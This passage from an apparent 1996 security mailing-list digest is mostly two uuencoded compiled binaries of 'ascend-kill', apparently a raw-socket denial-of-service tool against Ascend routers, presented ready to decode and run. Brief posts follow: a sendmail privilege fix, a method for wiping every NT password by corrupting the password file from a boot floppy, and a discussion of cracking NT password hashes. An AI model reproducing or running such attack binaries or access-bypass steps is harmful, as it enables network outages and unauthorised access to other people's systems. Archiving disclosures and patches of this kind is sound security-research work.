M24,`7U]R86YD;VT`7U]S=')T;VQ?:6YT97)N86P`9V5T<&ED`%])3U]S=&1E
M<G)?`'!U=',`;6%L;&]C`'-O8VME=`!?7V5N=FER;VX`8GIE<F\`7VEN:70`
M7U]L:6)C7VEN:70`96YV:7)O;@!F<')I;G1F`&EN971?861D<@!?7V9P=5]C
M;VYT<F]L`'-E;F1T;P!B8V]P>0!G971H;W-T8GEN86UE`%]F:6YI`&=E='-E
M<G9B>6YA;64`871E>&ET`%]'3$]"04Q?3T9&4T547U1!0DQ%7P!E>&ET`%]?
M<V5T9G!U8W<`9G)E90!?971E>'0`7V5D871A`%]?8G-S7W-T87)T`%]E;F0`
M`-`@``@%!0``)"$`"`40``#\'P`(!P(````@``@'`P``!"``"`<$```((``(
M!P8```P@``@'!P``$"``"`<(```4(``(!PH``!@@``@'#```'"``"`<.```@
M(``(!P\``"0@``@'$0``*"``"`<2```L(``(!Q,``#`@``@'%0``-"``"`<6
M```X(``(!Q@``#P@``@'&0``0"``"`<:``#H>PD``,(``/\U]!\`"/\E^!\`
M"`````#_)?P?``AH`````.G@_____R4`(``(:`@```#IT/____\E!"``"&@0
M````Z<#_____)0@@``AH&````.FP_____R4,(``(:"````#IH/____\E$"``
M"&@H````Z9#_____)10@``AH,````.F`_____R48(``(:#@```#I</____\E
M'"``"&A`````Z6#_____)2`@``AH2````.E0_____R4D(``(:%````#I0/__
M__\E*"``"&A8````Z3#_____)2P@``AH8````.D@_____R4P(``(:&@```#I
M$/____\E-"``"&AP````Z0#_____)3@@``AH>````.GP_O___R4\(``(:(``
M``#IX/[___\E0"``"&B(````Z=#^__\``````````%F)XXG@B<H!T@'2`="#
MP`0Q[55558GE4%-1N(@```"[`````,V`BT0D"*/8'P`(#[<%)"$`"%#HG/__
M_X/$!.@$____:!`/``CH:O___X/$!.AJ_O__Z!4%``!0Z&?___];C;0F````
M`(VT)@````"X`0```,V`Z_>-M"8`````4[OL'P`(@SWL'P`(`'0-D(L#_]"#
MPP2#.P!U]%O#C3;#D)"0D)"0D)"0D)"0D)"058GE5U939HM%#(;$P>`0!0`&
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
MD)"0D)"0,=N--O]%Q.C\]O__B47D:@!J`&H`:A:+3<A1BTW$40^WQU"+1=Q0
MBT784(M%U%"+1=!0Z-#V__]0BT7L4(M%Z%"+1>10BT7@4.C2^O__@\1`0X'[
M\P$``'ZJC66X6UY?B>Q=PY"0D)"0D)"0D)"0D%.[X!\`"(,]X!\`"/]T#9"+
M`__0@\/\@SO_=?1;PXTVPY"0D````````````````.@+^/__P@``0V]U;&1N
M)W0@<F5S;VQV92!A9&1R97-S(2$A`'1C<`!5;FMN;W=N('!O<G0@)7,*`%5S
M86=E.B`E<R`\9&5S=%]A9&1R/B`\9&5S=%]P;W)T/@H*1&5S="!P;W)T(&]F
M(#(S(&9O<B!!<V-E;F0@=6YI=',N"@!5;F%B;&4@=&\@;W!E;B!R87<@<V]C
M:V5T+@H`56YA8FQE('1O(&QO;VMU<"!D97-T:6YA=&EO;B!A9&1R97-S+@H`
M``````````````````#_____`````/____\`````1"``"```````````?@4`
M"(X%``B>!0`(K@4`"+X%``C.!0`(W@4`".X%``C^!0`(#@8`"!X&``@N!@`(
M/@8`"$X&``A>!@`(;@8`"'X&``B.!@`(`0````$````,````8`4`"`T````0
M#P`(!````.@```@%````H`,`"`8```"P`0`("@```!\!```+````$````!4`
M`````````P```/`?``@"````D````!0````1````%P```-`$``@1````P`0`
M"!(````0````$P````@```````````````!'0T,Z("A'3E4I(#(N-RXR+FPN
M,P``1T-#.B`H1TY5*2`R+C<N,@``1T-#.B`H1TY5*2`R+C<N,BYL+C,``"YS
M>6UT86(`+G-T<G1A8@`N<VAS=')T86(`+FEN=&5R<``N:&%S:``N9'EN<WEM
M`"YD>6YS='(`+G)E;"YB<W,`+G)E;"YP;'0`+FEN:70`+G!L=``N=&5X=``N
M9FEN:0`N<F]D871A`"YD871A`"YC=&]R<P`N9'1O<G,`+F=O=``N9'EN86UI
M8P`N8G-S`"YC;VUM96YT````````````````````````````````````````
M```````````````;`````0````(```#4```(U````!,```````````````$`
M````````(P````4````"````Z```".@```#(`````P`````````$````!```
M`"D````+`````@```+`!``BP`0``\`$```0````!````!````!`````Q````
M`P````(```"@`P`(H`,``!\!``````````````$`````````.0````D````"
M````P`0`",`$```0`````P```!$````$````"````$(````)`````@```-`$
M``C0!```D`````,````(````!`````@```!+`````0````8```!@!0`(8`4`
M``@``````````````!``````````40````$````'````:`4`"&@%```P`0``
M```````````$````!````%8````!````!@```*`&``B@!@``9`@`````````
M````$`````````!<`````0````8````0#P`($`\```@``````````````!``
M````````8@````$````"````&`\`"!@/``"Z```````````````!````````
M`&H````!`````P```-@?``C8#P``"```````````````!`````````!P````
M`0````,```#@'P`(X`\```@```````````````0`````````=P````$````#
M````Z!\`".@/```(```````````````$`````````'X````!`````P```/`?
M``CP#P``5```````````````!`````0```"#````!@````,```!$(``(1!``
M`(@````$``````````0````(````C`````@````#````S"``",P0``!P````
M```````````(`````````)$````!``````````````#,$```/@``````````
M`````0`````````1`````P``````````````"A$``)H```````````````$`
&````````
`
end

(------------------ ascend-kill bin for ELF End ------------------------)



(----------------- ascend-kill bin for aout Start ----------------------)


begin 755 ascend-kill.aout
MS`!D```0````$``````````````@$`````````````#H<PH``+@M````NP``
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
M;RXT`$1,3"!*=6UP(#0N-W!L-0"0D```````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`-,>Z_X`````#"``````````````````````D)``````2!P``%(<``````!@
MP0($``#P"&`````````````````!````^#\`8``````#`````"```#@@```P
M(`````````(```#\'P``("``````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
"````
`
end

(----------------- ascend-kill bin for aout End  ----------------------)

------------------------------

Date: Sun, 17 Nov 1996 12:58:53 +0100
From: roberto@keltia.freenix.fr (Ollivier Robert)
To: freebsd-security@FreeBSD.org, freebsd-hackers@FreeBSD.org
Subject: BoS: Re: New sendmail bug...
Message-ID: <Mutt.19961117125853.roberto@keltia.freenix.fr>

According to Marc G. Fournier:
> 	Please send details on 'sploit...would like to test on my Solaris
> 2.5.1 box as well...

The bug is fixed in FreeBSD 2.2, 2.1.6 and 3.0-CURRENT. Here is Allman's
fix that has been committed:

From: Eric Allman <eric@sendmail.org>
Subject: Re: [leshka@leshka.chuvashia.su: BoS: Exploit for sendmail smtpd bug 
 (ver. 8.7-8.8.2).] 
Date: Sat, 16 Nov 1996 07:15:08 -0800
Approved: proff@suburbia.net

Maybe I just haven't had enough coffee yet -- I can't reproduce the
problem (on BSD/OS 2.0.1).  Perhaps it is because I already have a
daemon running -- I just get "problem creating SMTP socket" logged
a few times.  It wouldn't have worked for me anyhow; I disallow
setuid binaries on my /tmp filesystem (always a good idea!).
However, I believe that _other_ people can reproduce this, and
that's good enough.

I'm going to take a couple of precautions (patch enclosed).  I would
appreciate it if as many as possible of you can give me the "before
and after" info on this, just to make sure I've patched it successfully.
As I say, since I can't reproduce it, I'm kind of stuck for a
verification.

Many thanks for forwarding this.

eric


------- main.c -------
*** -	Wed Dec 31 16:00:00 1969
--- main.c	Sat Nov 16 07:07:17 1996
***************
*** 493,507 ****
  			{
  			  case MD_DAEMON:
  			  case MD_FGDAEMON:
! # ifdef DAEMON
! 				if (RealUid != 0)
! 				{
! 					usrerr("Permission denied");
! 					exit(EX_USAGE);
! 				}
! 				vendor_daemon_setup(CurEnv);
! 				/* fall through ... */
! # else
  				usrerr("Daemon mode not implemented");
  				ExitStat = EX_USAGE;
  				break;
--- 493,499 ----
  			{
  			  case MD_DAEMON:
  			  case MD_FGDAEMON:
! # ifndef DAEMON
  				usrerr("Daemon mode not implemented");
  				ExitStat = EX_USAGE;
  				break;
***************
*** 899,904 ****
--- 891,904 ----
  		/* fall through ... */
  
  	  case MD_DAEMON:
+ 		/* check for permissions */
+ 		if (RealUid != 0)
+ 		{
+ 			usrerr("Permission denied");
+ 			exit(EX_USAGE);
+ 		}
+ 		vendor_daemon_setup(CurEnv);
+ 
  		/* remove things that don't make sense in daemon mode */
  		FullName = NULL;
  		GrabTo = FALSE;
***************
*** 1932,1937 ****
--- 1932,1946 ----
  		syslog(LOG_INFO, "restarting %s on signal", SaveArgv[0]);
  #endif
  	releasesignal(SIGHUP);
+ 	if (setuid(RealUid) < 0 || setgid(RealGid) < 0)
+ 	{
+ #ifdef LOG
+ 		if (LogLevel > 0)
+ 			syslog(LOG_ALERT, "could not set[ug]id(%d, %d): %m",
+ 				RealUid, RealGid);
+ #endif
+ 		exit(EX_OSERR);
+ 	}
  	execv(SaveArgv[0], (ARGV_T) SaveArgv);
  #ifdef LOG
  	if (LogLevel > 0)


-- 
Ollivier ROBERT    -=- The daemon is FREE! -=-    roberto@keltia.freenix.fr
  FreeBSD keltia.freenix.fr 3.0-CURRENT #28: Sun Nov 10 13:37:41 MET 1996

------------------------------

Date: Mon, 11 Nov 96 20:36:32 -0700
From: Adamsc@io-online.com (Adamsc)
To: "cypherpunks" <cypherpunks@toad.com>
Subject: BoS: NT insecurity
Message-ID: <19961116064952843.AAA201@rn232.io-online.com>
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Given the recent comments about insecure machines, I thought it was
interesting to note that you can clear *every* password on an NT box by using
a diskeditor to corrupt the password file (Boot off of a floppy and use
NTFSDOS if you have to).  It'll reboot several times and then you'll be
allowed to login.

#  Chris Adams <adamsc@io-online.com>   | http://www.io-online.com/adamsc/adamsc.htp
#  <cadams@acucobol.com>		 | send mail with subject "send PGPKEY"
"That's our advantage at Microsoft; we set the standards and we can change them."
   --- Karen Hargrove, Microsoft (quoted in the Feb 1993 Unix Review editorial)

------------------------------

Date: 	Sun, 17 Nov 1996 23:59:08 -0600
From: "Kenneth L. Hamer" <k-hamer@ntx1.cso.uiuc.edu>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: BoS: NT Password Cracker
Message-ID: <c=US%a=_%p=UIUC%l=NTX1-961118055908Z-15@ntx1.cso.uiuc.edu>

>----------
>From:  Yuri Volobuev[SMTP:volobuev@t1.chem.umn.edu]
>Sent:  Sunday, November 17, 1996 2:12 PM
>To:    Kenneth L. Hamer
>Cc:    Multiple recipients of list BUGTRAQ
>Subject:       Re: BoS: NT Password Cracker
>
>> Once you have the raw hash data used to authenticate users, cracking a
>> password becomes a simple matter of a dictionary attack.  By avoiding
>> NT's authentication subsystem entirely and using custom code you can
>> probably speed up the process.  Having 4 P6-200s chewing on _one_
>> account, the administrator account, should not take that long.
>
>All this math is childish, but I know for sure that for brute-force
>cracking
>of DES _big_ resources are needed, such as dedicated encoding hardware,
>so
>it's generally only can be done by governments or big corporations.
>May be
>some folks in NSA know of a better way to crack it, but I haven't heard
>of
>any. Idea of 4 PPros and few hours just dosn't fit in the picture.
>It's
>either really crappy encryption or not "any level of password
>complexity".
>Encryption scheme is probably not very good anyway because they can
>export
>it.  I don't know more, I'd appreciate if somebody can explain this
>better.

Actually, I've engaged my brain, and of course you are correct.  A
dictionary attack cannot provide guaranteed results in a reasonable
amount of time unless the key space is unacceptably small.  Dictionary
attacks make great fishing expeditions for this sort of problem, but
that's not what is being claimed here.

However, the fact remains that Windows NT does not store passwords in a
form from which the original password can be directly recovered[1].  The
"Lan Manager password" is used to encrypt a constant multiple times,
using DES.  Anyone conversant with the UNIX password encryption scheme
should find this familiar.  The "Windows NT password" is encrypted using
MD-4.  NT stores two versions for backwards compatibility with older
systems.  The possiblity exists that having the additonal information
available weakens the security of this system, I don't know[2].

Looking at the Knowledge Base article again (Q102716, "User
Authentication With Windows NT"), the one-way encrypted passwords are
encrypted again using a reversible encryption, for "obfuscation
purposes".  The company (MWC, Inc.) providing this admin password
recovery service does require full access to the system hard drive of
the target machine, they are probably replacing the administrative
password, not actually recovering the lost one.

If this is the case, they need only reverse the second, unpublished, and
probably relatively weak encryption, recover the keys, and replace the
original one-way "encrypted" passwords with ones of their own
construction.  This is similar in spirit to booting your UNIX system off
of a CDROM or the network and replacing the "encrypted" root password in
the passwd or shadow file.

The advertisement of a password "recovery" service may merely be a
marketing decision, so as not to confuse the customer base.  I doubt
their customers would really care whether they get their original
password or not, so long as they can access their machine again.

In any case, since MWC clearly states that they require full access to
the hard drive of the target machine (and from under a different
installation of NT unless an accessable privilaged account is
available), I don't think this represents a real threat.  Does anyone
want to conjecture how long it would take to replace the root password
on a target UNIX machine, if you can access the target hard drive from a
OS in which you have root access?  Not counting load and unload times,
I'd say under 60 seconds.  How about other operating systems (VMS, MVS,
etc)?

Anyway, I'm willing to continue the discussion via e-mail (since I think
finding possible attacks against NT is a very worthy endeavor) but in
deference to the other people on the list who may not be interested I'm
going to stop responding to the list.  I am picking this up through
Best-Of-Security anyway.  Apparently BUGTRAQ sends all of its stuff
there.  My apologies to those inconvenienced by this discussion.

- Ken

[1] To be precise, Microsoft says "The first encryption is a one-way
function (OWF) version of the clear text generally considered to be
non-decryptable".  KB Q102716

[2] Neither of the OWF passwords are ever sent over the net in the
clear.  Normally, one of both of the OWF passwords are used as a basis
for challenge-response, depending on the client type.  In pass-through
authentication the OWF password is sent over a secure channel, which has
a more-or-less unique session key.  This fact might make interesting
fodder for cryptanalysis, but is probably not being used here.

------------------------------

Date: Mon, 18 Nov 1996 10:02:57 +0800 (CST)
From: d857504@Oz.nthu.edu.tw (some)
To: proff@suburbia.net
Subject: BoS: a little trick for HP-UX DUI program
Message-Id: <199611180202.KAA09496@thccy12.Oz.nthu.edu.tw>
Content-Type: text/plain; charset=US-ASCII
